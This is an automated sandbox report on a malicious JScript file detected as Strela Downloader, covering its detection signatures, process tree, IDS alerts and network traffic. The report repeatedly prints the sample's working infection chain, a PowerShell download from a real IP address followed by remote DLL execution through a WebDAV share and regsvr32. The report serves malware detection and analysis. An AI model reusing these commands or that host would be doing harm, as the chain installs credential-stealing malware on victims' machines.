Edit tour

Windows Analysis Report
405322677135851429.js

Overview

General Information

Sample name:	405322677135851429.js
Analysis ID:	1587882
MD5:	78a658250e393438f7942e72009da2ad
SHA1:	045289df61016d921b6f6ce0a9160b3208852db9
SHA256:	e6a2cbafc8beb72ccef77281812fd3ae2a6b3c3fd8845b4d8cfae9d35affeab2
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3916 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\405322677135851429.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2432 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6012 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5160 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7092 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7220 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1632,i,10602417281476799970,6764145300623445967,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 4828 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1816 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 1916 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3916	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2432, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6012, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2432, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6012, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\405322677135851429.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\405322677135851429.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\405322677135851429.js", ProcessId: 3916, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 1816, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49728

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\405322677135851429.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3916, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, ProcessId: 2432, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\405322677135851429.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3916, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, ProcessId: 2432, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\405322677135851429.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3916, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, ProcessId: 2432, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\405322677135851429.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3916, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, ProcessId: 2432, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\405322677135851429.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3916, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, ProcessId: 2432, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\405322677135851429.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\405322677135851429.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\405322677135851429.js", ProcessId: 3916, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2432, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6012, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4828, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1816, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1916, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4828, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1816, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\405322677135851429.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3916, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, ProcessId: 2432, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:02:08.123119+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49728	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:02:05.372352+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49711	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 405322677135851429.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 405322677135851429.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49728 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:02:05 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49728

Source: global traffic

TCP traffic: 192.168.2.6:49728 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49711 -> 193.143.1.205:80

Source: global traffic

